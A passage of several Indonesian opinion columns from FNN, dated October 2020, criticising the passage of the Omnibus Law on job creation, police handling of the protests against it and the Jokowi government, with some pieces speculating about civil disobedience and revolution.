elemen dan ekosistem dalam sebuah revolusi maupun perubahan sosial besar harus dimaknai secara benar. Diantaranya adalah lahirnya elemen anak-anak revolusi itu. Saatnya semua pihak membaca situasi secara benar. Melihat dalam bingkai demokrasi. Agar menempatkan analisis sosial secara tepat demi menghormati keberadaan anak2 revolusi ini. Penulis adalah Direktur Eksekutif Sabang Merauke Circle

Bagaimanam Demokrasi Mati

by Zainal Bintang Jakarta FNN – Jum’at (09/10). Sidang paripurna DPR RI Senin (05/10/20) akhirnya berhasil mengesahkan UU tentang Cipta Kerja yang diformat dalam frasa Omnibus Law. Membuktikan betapa perkasanya kekuatan koalisi 7 parpol pendukung pemerintah di parlemen. Koalisi yang tidak tergoyahkan. Mengulang sukses UU sebelumnya, seperti revisi UU Komisi Pemberantasan Korupsi(KPK), revisi UU Pertambangan Mineral dan Batubara (Minerba). Juga mengulang sukses revisi UU Mahkamah Konstitusi(MK) yang memberi hadiah perpanjangan masa jabatan hakim konstitusi hingga 15 tahun. Melancarkan pemilihan kepala daerah (Pilkada) 9 September 2020. Prosesnya yang sangat singkat dan cepat membuka anggapan adanya operasi “senyap” yang dilancarkan pemerintah dan DPR. Demokrasi modern berbasis rezim suara terbanyak, memang memberikan kekuatan posisi politik kepada pemerintah. Bersama dengan partai politik pendukungnya leluasa memuluskan UU demi UU sesuai dengan design kesepakatan. Hanya saja jalan tol yang diberikan oleh model perkoalisian yang demikian tetap saja diperlukan terpenuhinya persyaratan dasar. Persyaratan bagi maksimalisasi partispasi publik. Jika tidak, politik koalisi atau koalisi politik yang tidak memenuhi persyaratan dasar itu. Untuk jangka panjang, tidak sehat bagi proses demokratisasi. Terutama, harus dibebaskan dari anasir dominasi semangat “mumpung” sedang berkuasa dan mumpung sedang mayoritas. Bahwa di dalam diri UU Cipta Karya memiliki sejumlah instrumen hukum yang mempermudah masuknya investasi besar. Investasi berskala transnasional untuk merealisasi kesejahteraan bagi seluruh rakyat Indonesia. Sesuai amanat salah satu sila Pancasila itu tidak perlu dibantah. Pasti sepakat seluruh elemen bangsa ini. Bahwa penyebabnya karena sebelumnya telah dilahirkan sejumlah UU yang pada kenyataanya tumpang tindih satu sama lain, iyaa. Bahwa oleh karenanya telah menjadi penghalang terciptanya kesejahteraan yang melekat di dalam semangat demokrasi, iyaa. Akan tetapi tumpukan kekisruhan UU masa lalu itu tidak boleh dijadikan semacam tiket bebas hambatan untuk melahirkan UU baru yang melabrak prinsip dasar musyawarah mufakat. Kehadiran UU Cipta Kerja itu yang menimbulkan penolakan dari berbagai elemen masyarakat, terutama kalangan buruh dan pekerja, memperlihatkan kurang sempurnanya elemen dasar proses penggodokannya. Langkah ketergesagesaan yang diperlihatkan pemerintah dan DPR menguatkan kecurigaan publik. Masyarakat menengarai adanya “penyelundupan” pasal yang merugikan kalangan buruh dan menguntungkan kalangan pengusaha dan pemodal. Tingginya daya penolakan yang dihadang dengan tingginya tekanan pemulusan oleh pemerintah dan DPR. Ini menunjukkan tidak tersemangatinya prinsip transparansi, check and balances serta fair play yang dipersyaratkan oleh sebuah hakekat demokrasi. Sebegitu jauh belum dapat diketahui dengan pasti faktor apa yang mendorong proses penggodokan UU Omnibus Law harus menafikan akomodasi yang sebesar-besarnya bagi partispasi publik. Pihak pemerintah dan DPR kemungkinan tidak tahu atau tidak mau tahu, bahwa dengan bermain-main dibalik kekuatan “suara” terbanyak yang disediakan oleh instrumen demokrasi, sesungguhnya telah berbalik menjadi pembunuh demokrasi atas nama demokrasi. Terkait dengan hal itu, penting membaca ulang buku karya Steven Levitsky dan Daniel Ziblatt, How Democracies Die : What History Reveals About Our Future (Bagaimana Demokrasi Mati. Apa Yang Diungkapkan Sejarah Tentang Masa Depan Kita). Buku dari dua Profesor Pemerintahan di Universitas Harvard itu dirilis 12 Desember 2018. Mereka mengatakan, terkadang demokrasi mati dengan keras, kudeta yang menjatuhkan pemerintah, pawai ke ibu kota saat darurat militer diberlakukan dan media pemerintah diambil alih. Inilah yang biasanya terjadi dalam film dan program televisi. Dengan cepat dan tegas. “Tetapi lebih sering, demokrasi mati perlahan. Secara kasat mata, di tangan pejabat terpilih. Melalui erosi bertahap dari norma dan institusi politik”. Kedua ilmuwan politik itu berpendapat , “sejarah tidak terulang, ia berirama. Dengan memeriksa sejarah dan melihat polanya, kita dapat menemukan rambu-rambu yang menandai otoritarianisme yang merayap - ancaman terhadap check and balances yang seharusnya mencegah pemilihan demagog”. Lebih jauh dikatakan “kemunduran demokrasi hari ini dimulai dari kotak suara. Empat indikator utama yang harus diperhatikan adalah penolakan (atau komitmen yang lemah untuk) aturan permainan yang demokratis, penolakan legitimasi lawan politi, toleransi atau dorongan kekerasan, kesiapan untuk membatasi kebebasan sipil lawan, termasuk media”. Levitsky dan Ziblatt memberikan contoh dari sejarah tentang bagaimana bertindak dalam kasus seperti ini. “Kadang-kadang anda harus bekerja dengan orang-orang yang secara ideologis berlawanan dengan anda untuk mempertahankan cita-cita demokrasi, seperti yang terjadi di Belgia dan Finlandia pada tahun 1930-an, demikian kami diberitahu”. Mengingat iklim politik saat ini, kebangkitan global dalam partai-partai ekstremis populis dan hiper-nasionalisme. Buku ini menjadi pengingat tepat waktu bahwa demokrasi tidak selalu mati dalam kegelapan. Terkadang mereka mati dengan lampu menyala, oleh orang-orang yang dipilih melalui cara-cara demokratis. Tetapi dengan mempelajari sejarah kita dapat memperoleh wawasan tentang langkah-langkah yang dapat kita ambil masing-masing untuk melindungi hak-hak demokrasi kita. “Melindungi demokrasi kita membutuhkan lebih dari ketakutan dan kemarahan. Kita harus rendah hati dan berani. Kita harus belajar dari negara lain untuk melihat tanda-tanda peringatan, dan mengenali tanda peringatan palsu. Dan kita harus melihat bagaimana warga negara telah bangkit untuk menghadapi krisis demokrasi besar di masa lalu, mengatasi perpecahan yang mengakar untuk mencegah kehancuran", ujar Levitsky dan Zilbatt. Ezra Klein (36) jurnalis, penulis blog, dan pengamat politik Amerika Serikat, yang pernah mewawancarai Levitsky dan Ziblatt untuk podcastnya mengatakan, ada gambaran yang muncul di benak kita saat membayangkan akhir demokrasi. Demokrasi jatuh dalam kudeta dan revolusi, terbakar api dan kerusuhan, runtuh di tengah perang dan wabah. Saat mereka mati, mereka mati sambil berteriak. Menurut Klein “tidak lagi” bagi Levitsky dan Ziblat dalam buku “How Democracies Die”. Klein yang sebelumnya seorang penulis blog dan kolomnis The Washington Post dan editor yang terafiliasi dengan The American Prospect itu melanjutkan, dalam kebanyakan kasus modern, demokrasi terkikis perlahan, dengan langkah yang nyaris tidak terlihat. Klein menambahkan, “mereka membusuk dari dalam, diracuni oleh para pemimpin yang merusak proses yang membawa mereka ke tampuk kekuasaan. Mereka dilubangi, perangkap demokrasi hadir lama setelah jiwa sistem dipadamkan”. Tanggapan publik di berbagai media, mayoritas menyebutkan UU Cipta Kerja itu merugikan pekerja. Pemerintah dan DPR bersikukuh menyebut UU itu akan memperlancar masuknya investasi berskala besar ke Indonesia. Pemerintah menawarkan jalan keluar, kepada yang menolak UU itu dapat menggugat melalui uji materi ke MK (Mahkamah Konstitusi). Sejumlah pakar hukum mengatakan model Omnibus Law tidak dikenal di dalam sistem hukum di Indonesia dimana satu UU baru dibentuk untuk menyederhanakan sejumlah UU lainnya, dalam konteks ini disebutkan ada 72 UU yang diperas paksa menjadi satu. Pasalnya, pada faktanya UU Cipta Kerja itu tidak hanya terbatas bekerja di wilayah ketenagakerjaan, tapi malah merangsek masuk ke substansi lain. Memasuki sektor seperti, tata ruang, tenaga nuklir, hak adat, soal imigrasi, hak paten, produk halal. Hal mana membuat UU itu berwatak etatisme. Suatu paham dalam pemikiran politik yang menjadikan negara sebagai pusat segala kekuasaan. Menjadikan segalanya akan berada di bawah kontrol secara ketat dengan menggunakan instrumen kekuasaan. Meniscayakan resentralisasi yang berkarakter kapitalistik. Ini yang menjelaskan mengapa UU itu dianggap lebih menguntungkan kalangan pemodal atau pengusaha besar alias kapitalis. Secara substansial postur etatisme itu lebih memperlihatkan semangat sebagai demokrasi elitis. Kebalikan dari demokrasi partisipatoris yang menghargai dan menghormati hak-hak demokrasi dengan membuka partisipasi publik seluas-luasnya sebagai pengejawantahan kedaulatan rakyat. Katakanlah pemerintah dan DPR saat ini memang berhasil “memenangkan” pertarungan politik di parlemen melalui metode voting dengan senjata pamungkasnya yang bernama suara terbanyak. Palu sudah diketuk. Nasi sudah jadi bubur. Dan kegaduhan sudah tersulut. Unjuk rasa merebak di banyak daerah. Isunya bergeser menjadi “mosi tidak percaya kepada pemerintah dan DPR. Namun demikian, untuk jangka panjang, sejauh pola ini selalu dijadikan palu godam pemukul untuk kepentingan subjektif jangka pendek (politis), maka ia adalah racun yang pelan-pelan akan membunuh demokrasi dan melumpuhkan tubuh sebuah bangsa. Sebuah tragedi yang dapat dianalogikan dengan legenda “Malinkundang”. Sang anak yang sukses dan kuat itu, malah mendadak lupa akan ibu kandungnya. Ibu yang menyebabkannya hadir di bumi ini. Di bumi Pancasila, di dalam mana marwah musyawarah mufakat menjadi mercu suar demokrasi! Penulis adalahWartawan Senior & Pemerhati Masalah Sosial Budaya.

Mereka Berteriak Keras: Apakah Kalian Akan Menonton Saja?

by Asyari Usman Jakarta FNN - Kamis (08/10). Indonesia sedang berada di ambang kehancuran. Akibat pengelolaan negara yang dilakukan secara ugal-ugalan. Para pemimpin negara ini kelihatan tidak mengerti apa yang harus mereka lakukan. Atau, mereka mengerti tetapi tidak peduli negara ini hancur-lebur. Sekarang, akumulasi masalah semakin menggunung. Para pemimpin hanya berpikir sektoral saja: bahwa semua ini bisa selesai dengan investasi asing. Dasar pemikiran sempit inilah yang melahirkan UU Cipta Kerja (Ciptaker). Yang sekarang diprotes rakyat. Di seluruh Indonesia. Dalam rangka menarik investasi sebanyak mungkin, pemerintah percaya bahwa kemudahan bisnis harus diciptakan. Kemudahan bisnis itu, menurut mereka, adalah kesewenangan dunia usaha terhadap kaum buruh. Selain itu, mereka percaya pula bahwa kemudahan bisnis itu kesewenangan terhadap sumber daya alam (SDA). Intinya, buruh harus tunduk pada keinginan pemilik usaha. Begitu juga SDA harus bisa dirusak sesuka hati mereka. Dua hal ini, yaitu buruh dan SDA, harus berada dalam genggaman wewenang dan kesewenangan para pengusaha. Khususnya, para pengusaha rakus. UU Ciptaker ini adalah ‘jalan tol’ para pengusaha untuk mempercepat dan mempermulus tindakan penghancuran bangsa dan kekayaan negara. Juga inilah ‘jalan tol’ menuju penyerahan kedaulatan negara kepada asing –khususnya kepada China. Presiden Xi Jinping sudah sejak lama menginginkan kemudahan untuk menjajah Indonesia dengan utang dan dengan menjadikan negeri ini sebagai pangkalan produksi mereka. Sekaligus sebagai pasar. Jauh sebelum UU Ciptaker disahkan, China sudah lebih dulu menyandera Indonesia dengan pinjaman untuk infrastruktur yang dikerjakan sendiri oleh China. Sejak itu, para pekerja dari China leluasa datang ke sini. Untuk bekerja. Mulai dari mengerjakan pekerjaan yang memerlukan ‘skill’ (keterampilan) sampai ke pekerjaan kategori kasar. China kini sudah berada di posisi mendikte para penguasa Indonesia. Mereka berkolaborasi dengan para pengusaha besar negeri ini yang kebetulan satu nenek moyang dengan mereka. Patut diduga, merekalah yang menjadi sponsor UU Ciptaker. UU baru yang dibanggakan oleh Presiden Jokowi itu, karena dianggap akan mempercepat kemajuan Indonesia, diprotes banyak pihak. Kaum buruh melihat UU Ciptaker akan menindas mereka. Kaum intelektual menafsirkan bahwa UU ini akan mengancam kepemilikan lahan. Para aktivis lingkungan memperkirakan kerusakan lingkungan akan menjadi-jadi. Sementara itu, kalangan mahasiswa kelihatannya menyadari bahwa masa depan mereka sebagai anak Indonesia akan terancam jika UU Ciptaker diberlakukan. Para mahasiswa, kalangan buruh, pelajar, dan elemen-elemen masyarakat lainnya melancarkan unjuk rasa dalam tiga hari ini. Mereka menuntut agar UU Ciptaker dibatalkan. Mereka berjuang keras dengan risiko besar. Bisa berdarah-darah bahkan bisa hilang nyawa. Macam-macam tindakan aparat keamanan yang dialami oleh para pengunjuk rasa. Umumnya, tindakan polisi rata-rata keras. Di sana-sini terekam kebrutalan terhadap pendemo. Boleh jadi para pendemo yang mempertaruhkan nyawa itu tidak saja berteriak agar UU Ciptaker dibatalkan. Melainkan juga berteriak keras, “Apakah kalian akan menonton saja?” Penulis wartawan senior FNN.co.id

Pak Idham Azis, Mana Janjimu Dulu?

by M Rizal Fadillah Bandung FNN – Kamis (08/10). Dulu saat pertama dilantik sebagai Kapolri, janji Jenderal polisi ini sangat indah dan menyejukkan. Pak Idham Azis mengecam cara-cara penanganan demonstran yang brutal oleh aparat kepolisian. Untuk itu, dalam kepemimpinannya, akan mengubah cara penanganan aksi unjuk rasa tersebut agar lebih manusiawi dan simpatik. Tetapi di akhir masa jabatannya Kapolri, janji manis dan indah itu tidak terlihat di bawah kasus pengesahan Undang-Undang Omnibus Law Cipta Kerja. Ketika buruh dan mahasiswa berunjuk rasa menolak UU Omnibus Law Cipta Kerja, penanganan terhadap para pengujuk rasa yang manusiawi dan simpatik itu tidak terlihat dan terbukti. Penanganan aparat kepolisian sama saja. Masih tetap brutal seperti pada eranya Jendral Muhammad Tito Karnavian menjadi Kapolri. Bahkan dalam beberapa tempat lebih brutal lagi dari eranya Pak Tito. Peristiwa ini menjadi catatan buruk, bahkan hitam bagi anda pada saat pensiun nanti. Rakyat pemilik sebenarnya negeri ini, yang berunjuk rasa menutuk haknya sebagai warga negara untuk perbaikan bangsanya, dihadapi polisi seperti menghadapi teroris dan penjahat narkoba. Diperlakukan seperti musuh negara. Padahal dengan unjuk rasa seperti inilah Polisi bisa keluar, bahkan berpisah dari genggaman serta ketiaknya TNI. Modus bentrokan dan penganiayaan selalu sama. Yaitu diawali dengan provokasi satu dua orang terhadap aparat, lalu terjadi lempar-lemparan. Setelah itu, muncul sekelompok orang yang sepertinya "sangat dikenal" dan dipersiapkan oleh aparat untuk menyerang. Lalu terjadilah bentrokan dengan tembakan gas air mata. Buruh atau mahasiswapun terbawa arus. Ujungnya buruh atau mahasiswa itulah yang akan teraniaya, dan menjadi korban kejaran aparat kepolisian, anak buah anda Pak Idham. Kelompok yang suka memancing keributan itu tetap saja sehat dan segar bugar. Entah kemudian pergi kemana, karena sangat mahir untuk lolos dari penangkapan aparat kepolisian. Rupanya mereka spesialis dalam berbagai aksi dan pergerakan. "Harap jangan pukul kepala, karena di kepala itu bisa ada hafalan Qur'an dan Hadits" demikian himbauan seorang ustadz ketika berceramah di depan aparat kepolisian pada rakornas atau rapimnas kepolisian seluruh Indonesia. Kegiatan itu juga dihadiri juga oleh Kapolri Jenderal Idham Azis. Pak Kapolri sangat merespon ceramah dan himbauan sang ustaz agar jangan pukul kepala itu dengan positif. Pak Idham mengapresiasi dan menyatakan setuju dengan ceramahnya sang ustadz. Bahkan Pak Idham menyatakan akan memegang itu sebagai salah satu prinsip kepemimpinannya. Sayang di hari kemarin dan hari ini, aparat kepolisian yang bertugas di beberapa tempat untuk mengawal serta menangani unjuk rasa buruh dan mahasiswa, ternyata tidak mampu merealisasikan amanat janji Pak Kapolri itu dengan baik. Penanganan terhadap pengunjuk rasa yang humanis dan simpatik hanya ada dalam ceritra. Di lapangan, sama saja realitanya. Kita berharap pak Jenderal Idham Azis mengakhiri jabatannya dengan manis dan indah. Bukan dengan "su'ul khotimah". Sebab terlalu banyak banyak buruh atau mahasiswa yang merintih kesakitan akibat pukulan aparat pada badan dan kepalanya. Ingat Pak Idham, buruh dan mahasiswa yang berunjuk rasa tidak dibayar. Mereka berunjuk rasa dengan kesadaran sendiri. Mereka para buruh dan mahasiswa itu terpanggil jiwanya, raganya untuk memperbaiki nasib dirinya, nasib keluarganya dan nasib bangsanya yang mulai tergelincuir akibat salah kelola oleh penyelenggara negara. Mereka didorong untuk memperjuangkan kebenaran dan keadilan. Sekedar berjuang untuk menjaga makan diri dan anak istrinya. Hak untuk mendapat perlindungan dari negara. Penangkapan, penganiayaan, bahkan konon ada korban yang tewas telah menjadi goresan hitam dari pemaksaan sebuah undang-undang yang merugikan rakyat. Diproduk dengan cara yang tidak sehat oleh para wakil rakyat yang tidak terhormat. Penulis adalah Pemerhati Politik dan Kebangsaan.

Maaf, Pak Jokowi Apakah Sudah Siap Lengser?

by Tjahja Gunawan Jakarta FNN - Kamis (08/10). Saya berharap semoga tidak ada orang atau pihak-pihak tertentu yang baper membaca judul dan isi tulisan ini. Sebab jika melihat reaksi publik dalam berbagai aksi demo massif menolak UU Omnibus Law akhir-akhir ini, bukan mustahil Jokowi bisa lengser dari kursi kekuasaannya. Sampai hari kedua aksi mogok nasional para buruh, telah diikuti dengan aksi demo para mahasiswa. Ini terjadi di berbagai kota di Indonesia. Dari berbagai tayangan video viral di sejumlah grup WA yang saya ikuti, pada hari Selasa 6 Oktober 2020 aksi demo diawali bentrok antara para mahasiswa di Kota Bandung dengan aparat kepolisian. Aksi demo dan bentrokan para mahasiswa juga terjadi di Kampus UIN Serang Banten dan Makassar Sulawesi Selatan. Sehari kemudian, aksi massa semakin meluas tidak hanya melibatkan para buruh dan mahasiswa tetapi juga anak-anak STM. Dengan gagah berani, mereka sudah mulai merangsek masuk ke sekitar jalan-jalan menuju kawasan Gedung DPR/MPR-RI di Jl Gatot Subroto Jakarta. Aksi anak STM ini belum terlalu massif tapi keberanian mereka berhadapan dengan aparat di jalan umum telah mengundang emosi sejumlah aparat sehingga sebagian di antara oknum polisi ada yang sengaja megejar dan memukul anak STM di Jalan Pejompongan. Di daerah itu, anak-anak STM juga merusak sebuah mobil polisi. Sementara para buruh yang bekerja di kawasan Jababeka, Kabupaten Bekasi, dan Karawang, juga ikut ambil bagian. Mereka meninggalkan tempat kerjanya, kemudian bergabung dengan rombongan buruh lainnya. Sehingga sebagian ruas jalan di Bekasi dan Cikarang, dipadati para buruh. Mereka berjalan secara berombongan dengan mengendarai berbagai sepeda motor. Sedangkan dari Jambi, para mahasiswa berusaha untuk menguasai Gedung DPRD setempat. Dari tayangan video pendek, terlihat para mahasiswa juga terlibat bentrok dengan aparat polisi. Penolakan para buruh dan mahasiswa terhadap UU Omnibus Law dan produk UU lainnya yang merugikan rakyat, semakin massif terjadi di berbagai daerah di Indonesia. Hari Kamis 8 Oktober 2020, rencananya para buruh dan mahasiswa akan menggeruduk Istana Kepresidenan. Jika aksi ini makin membesar dan meluas, diperkirakan aparat pun akan kewalahan dan sulit untuk menghadangnya. Jika aksi demo ke Istana Kepresidenan melibatkan banyak elemen masyarakat lainnya, akan sulit bagi aparat keamanan untuk bisa mencegahnya. Pembangkangan Sipil People Power tidak bisa dicegah. Masyarakat sudah muak dengan berbagai kebijakan rezim penguasa sekarang. Masyarakat sudah tidak tahan lagi dengan berbagai persoalan yang mendera mereka selama ini. Oleh karena itu sekarang merupakan momentum yang tepat untuk melampiaskan kekecewaan dan penderitaan yang selama ini mereka alami. UU Omnibus Law diprotes karena terkait dengan kepentingan semua elemen masyarakat, tidak hanya persoalan para buruh saat ini tetapi juga merupakan masalah para mahasiswa di masa datang saat mereka masuk ke dunia kerja. Di luar persoalan UU Omnibus Law sudah banyak persoalan yang mendera rakyat Indonesia termasuk pandemi global Virus Corona. Aksi para buruh menolak UU Omnibus Law telah menjadi pemantik elemen masyarakat lainnya khususnya mahasiswa untuk melakukan aksi demonstrasi menyuarakan ketidakpuasan terhadap DPR dan rezim penguasa di bawah Presiden Jokowi. Aksi demo para buruh dan mahasiswa ini akan diikuti dengan aksi pembangkangan sipil oleh elemen masyarakat lainnya. Salah satu yang menyerukan aksi pembangkangan sipil adalah ahli hukum dari UGM Zainal Arifin Mochtar. Menurut dia, pengesahan UU Cipta Kerja terkesan terburu-buru tanpa mempertimbangkan suara publik. Ini patut untuk diprotes. "UU Cipta Kerja dibuat dengan proses formil yang bermasalah. Selain itu substansi materiilnya juga begitu banyak catatan," kata Zainal Arifin sebagaimana dikutip SuaraJogja.id. Pembangkangan sipil dan perlawanan sosial sudah dimulai dari Kota Bandung yang dipelopori para mahasiswa pada hari Selasa lalu. Meski para pengunjuk rasa yang kebanyakan mahasiswa terlibat bentrok dengan aparat kepolisian, namun semangat perlawanan rakyat tidak kendor. Desingan suara senjata gas air mata dan water canon yang dimuntahkan pasukan polisi, tidak menyurutkan para pendemo untuk terus merangsek masuk ke Kawasan Gedung DPRD Jabar di Jl Diponegoro Bandung. Setelah berjuang keras akhirnya para mahasiswa berhasil memukul mundur aparat karena banyak di antara senjata gas air mata justru berbalik menuju arah polisi sehingga banyak di antara aparat yang kesakitan di bagian tenggorokan dan mata. Akhirnya aparat polisi pun mundur teratur. Setelah situasi tenang, perwakilan mahasiswa menyampaikan sejumlah tuntutan disaksikan aparat TNI di depan Gedung DPRD Jabar. Mereka menuntut agar UU Omnibus Law dan UU lainnya yang merugikan rakyat bisa segera dicabut. "Jika tidak, kami akan turun ke jalan lagi," kata seorang perwakilan mahasiswa dengan suara lantang. Gerakan aksi demo yang berakhir bentrok juga terjadi di depan kampus UIN Sultan Maulana Hasanudin (SMH), Serang, Banten. Ada beberapa mahasiswa yang mengalami luka karena mereka terperangkap di dalam kampus ketika aparat kepolisian berusaha para demonstran ke dalam kampus. Seruan untuk aksi besar-besaran dikemukakan Aliansi Badan Eksekutif Mahasiswa Seluruh Indonesia (BEM SI). Mereka berencana menggelar demonstrasi pada Kamis (8/10). Mereka juga akan menyuarakan penolakan RUU Omnibus Law Cipta Kerja usulan pemerintah yang baru saja disahkan DPR hari Senin 5 Oktober 2020. "Rencananya tanggal 8 untuk aksi nasional," ungkap Koordinator Media Aliansi BEM SI Rizky Ramadhany kepada CNNIndonesia.com, Selasa (6/10). Rizky mengaku belum menentukan lokasi demonstrasi nanti. Ia hanya mengatakan bahwa aksi unjuk rasa bakal melibatkan mahasiswa dalam jumlah besar. Aksi demo ini diperkirakan akan menjalar ke kota-kota lain di Tanah Air karena buruknya perekonomian dan semakin sulitnya kehidupan masyarakat. Ekonomi Meledak Rakyat bawah lagi menunggu pemantik kerusuhan. Pemerintah dan DPR gagal memahami keinginan dan tuntutan rakyat. Pengesahan RUU Omnibus Law menjadi UU, terkesan dipaksakan dan membodohi rakyat dan buruh. Ini justru menjadi pemantik pembangkangan sosial secara nasional. Dengan situasi seperti sekarang, paling tidak akan terjadi kerusuhan dan pembangkangan sosial di banyak kota di Indonesia. Yang bakal terjadi di hari-hari mendatang adalah aksi mogok buruh dan aksi demo mahasiswa secara nasional disertai aksi pembangkangan sipil. Suasana dan peristiwa ini bukan halusinasi tapi benar-benar sudah menggaung dan terjadi di mana-mana. Dalam kesempatan inj, saya ingin flash back ke belakang ke tàhun 1998. Semoga para elite politik di DPR terutama politisi dari partai oligarki serta rezim penguasa di bawah Presiden Jokowi bisa belajar dari peristiwa kerusuhan pada waktu itu. Seperti kita ketahui bersama, waktu itu kekuasaan Soeharto dalam keadaan sangat kuat. Hampir semua infrastruktur dan suprastruktur politik berada dibawah kendali Rezim Orde Baru yang dibangun Soeharto selama 32 tàhun. Namun toh pada akhirnya pada bulan Mei 1998, kekuasaan Soeharto tumbang juga. Krisis politik yang berakhir pada lengsernya Soeharto dari kursi kekuasaan pada awalnya dipicu oleh krisis moneter yang terjadi pada bulan Juli 1997. Kemudian persoalan finansial yang dialami perusahaan besar dan perbankan ini merembet pada kesulitan rakyat dalam mendapatkan kebutuhan sembako. Kalaupun ada harganya mahal sehingga kemudian menyebabkan terjadinya berbagai aksi penjarahan toko-toko supermarket. Di sisi lain, banyak perusahaan swasta besar dan perbankan yang mendadak bangkrut dan kesulitan keuangan. Akibatnya PHK massal terjadi di mana-mana. Meski bulan November 1997 pemerintah waktu itu sudah menutup sejumlah bank swasta nasional untuk memulihkan ekonomi, namun kepercayaan masyarakat tidak kunjung pulih. Bahkan ketidakpercayaan masyarakat tersebut bukan hanya terhadap perbankan tetapi juga pada rezim Soeharto yang dianggap telah melakukan praktek korupsi, kolusi dan nepotisme (KKN). Akhirnya krisis moneter meluas menjadi krisis sosial dan krisis politik. Pergantian Presiden dari Soeharto ke BJ Habibie pada Mei 1998, tidak seketika memulihkan bangsa ini dari krisis multi dimensi. Ketika itu Habibie dianggap sebagai bagian dari rezim kekuasaan Orde Baru. Akhirnya melalui proses politik di MPR, Habibie digantikan oleh Gus Dur pada tàhun 2000. Selanjutnya pasca reformasi tersebut kita ketahui bersama berbagai pergantian Presiden ke Megawati, kemudian Susilo Bambang Yudhoyono hingga akhirnya kepada Jokowi tàhun 2014. Jokowi dan partai pendukungnya ingin mengulang sukses SBY yang menjadi Presiden dua periode yakni dari tàhun 2004 hingga 2014. Namun sayangnya, kapasitas dan kompetensi Jokowi sangat jauh dibandingkan SBY. Sehingga banyak janji Jokowi yang tidak bisa dipenuhi, demikian pula program pembangunan tidak fokus dan cenderung halusinasi. Hampir semua proyek-proyek infrastruktur dibangun dengan utang sementara penggunaan dan hasil pembanguman proyek tersebut tidak optimal. Menurut M. Said Didu, pengamat ekonomi yang juga mantan Sekretaris Menteri BUMN, semua indikator ekonomi semakin memburuk dan tidak ada tanda perbaikan dalam 3-5 tahun ke depan. Krisis ekonomi baru akan berdampak pada kekuasaan jika sudah menyangkut kehidupan rakyat secara langsung. Kondisi ekonomi sekarang sudah berada pada ekonomi siap "meledak". Dan ekonomi bisa meledak jika rakyat sudah mengalami kesulitan hidup sehari-hari. Dan itu sudah terjadi saat ini. Selain itu, ekonomi akan meledak jika pengusaha sudah tercekik utang dan keberlanjutan usahanya. Saat ini banyak perusahaan yang dililit utang dan sebagian sudah banyak pula yang melakukan PHK karyawan dan menutup pabriknya. Said Didu memperkirakan, "Ekonomi akan meledak pada bulan November-Desember 2020". Gelombang protes dan ketidakpuasan tidak hanya disuarakan para buruh dan mahasiswa, para guru besar dan dosen serta dekan dari 55 perguruan tinggi di Indonesia juga menyampaikan keprihatinan yang sama. Mereka juga menolak Omnibus Law UU Cipta Kerja. Guru Besar Hukum Unpad Bandung, Susi Dwi Harijanti, membacakan pernyataan sikap para akademisi tersebut melalui virtual, Rabu, 7 Oktober 2020. Susi mengatakan, mereka menyatakan sikap penolakan lantaran melihat banyak penyimpangan dalam proses pembahasan hingga isi undang-undang yang disahkan dalam rapat paripurna DPR, Senin, 5 Oktober 2020. Sejumlah akademisi bidang hukum lainnya yang turut menolak UU Ciptaker seperti Guru Besar Hukum UGM Eddy Hiariej, Maria Sri Wulan Sumardjono dan Zainal Arifin Mochtar. Hampir semua elemen masyarakat menyatakan menolak terhadap UU Omnibus Law. Jika pemerintah dan DPR tetap berkeras mau memaksakan memberlakukan UU Cipta Lapangan Kerja, harus berhadapan dengan risiko terjadinya People Power. Dan Jokowi harus siap-siap untuk lengser dan melepaskan kekuasaannya. Wallohu a'lam bhisawab. Penulis adalah Wartawan Senior FNN.co.id & Mantan Wartawan Kompas

Dari Revolusi Mental Menuju Revolusi Sosial (Bagian-1)

by Dr. Syahganda Nainggolan Jakarta FNN – Kamis (08/10). "Revolusi Itu Akan Mencari Jalannya Sendiri". Begitu sebuah postingan di tweeter @el_macho90 yang link ke tweeter Dr. Dipo Alam, mantan ketua Dewan Mahasiswa UI, yang pernah dipenjara Orde Baru. Isi postingan di tweeter itu saya lihat kemarin. Apa itu revolusi sosial? Apakah benar demikian? Revolusi adalah perubahan sosial yang menggantikan struktur sosial. Juga mengganti struktur politik dan ekonomi, serta kadangkala struktur budaya masyarakat atau peradaban. Perubahan seperti ini pada umumnya diwarnai dengan kepemimpinan perubahan yang kuat dan perlawanan yang terorganisasi serta acapkali dengan kekerasan. Pembicaraan tentang revolusi ini perlu kita kaji, mengingat lima hal atau situasi sebagai berikut : Pertama, gerakan mahasiswa dan buruh sebagai garda terdepan telah memenuhi jalan-jalan beberapa kotas besar sepanjang beberapa hari terakhir ini. Kedua, gerakan Islam dan khususnya yang di bawah komando Imam Besar Habib Rizieq Shihab (HRS) telah mengepung terus ibukota, dengan tema Pancasila dan kembalikan Habib Rizieq. Ketiga, Pernyataan Guru Besar Universitas Gajah Mada (UGM), yang terkenal dengan isu pemerintahan bersih, Profesor Zainal Mochtar telah menyerukan adanya pembangkangan sipil (civil disobedience) atas situasi sosial paska pengesahan UU Omnibus Law kemarin. Keempat, adanya spirit kebangkitan purnawirawan militer untuk mewarnai perubahan sosial melalui jalur gerakan masyarakat sipil. Kelima, adanya respon negatif ormas Islam terbesar Muhammadiyah dan NU terhadap pemerintah dalam kasus Pilkada. Serta kaum ulama pada isu RUU HIP dan RUU BPIP. Tentu banyak fenomena sosial lainnya belakangan ini yang dapat dilihat sebagai fenomena penting dalam menganalisa situasi yang ada. Antara lain kegagalan pemerintah dalam penanggulangan pandemi Covid-19. Administrasi pemerintahan negara yang melemah karena transformasi digital yang gagal, serta ekenomi yang semakin memburuk. Lalu mengapa perlu menganalisa revolusi itu? Pentingnya melakukan analisa atas hal ini karena jika revolusi datang pada sebuah bangsa, namun gagal “dibimbing", maka yang terjadi biasanya adalah kehancuran bangsa. Seperti kasus-kasus kegagalan revolusi di Afganistan, Filipina terkait penggulingan Ferdinan Marcos dan beberapa negara di Amerika latin. Sebaliknya, yang terjadi pada Revolusi Bolshevik di Rusia, Revolusi di Iran, Revolusi di China umpamanya hasil bagus yang membanggakan. itu karena revolusinya terlaksana dengan terarah dan terbimbing. Maka bangsa tersebut terselamatkan. Sebab-Sebab Revolusi Ilmu sosial telah melahirkan berbagai teori tentang revolusi. Baik mencari sebab-sebab munculnya revolusi maupun sejarah revolusi. Sebab-sebab revolusi dikaji oleh ahli-ahli sosiologi, seperti Skocpol, dalam bukunya "State and Social Revolution" Tahun 1979. Skocpol yang membandingkan revolusi Prancis, China dan Rusia. Sebagai seorang strukturalis fungsional, Skocpol melihat pergeseran equilibrium sebuah masyarakat yang terguncang (disequlibrium) akibat ada kemerosotan 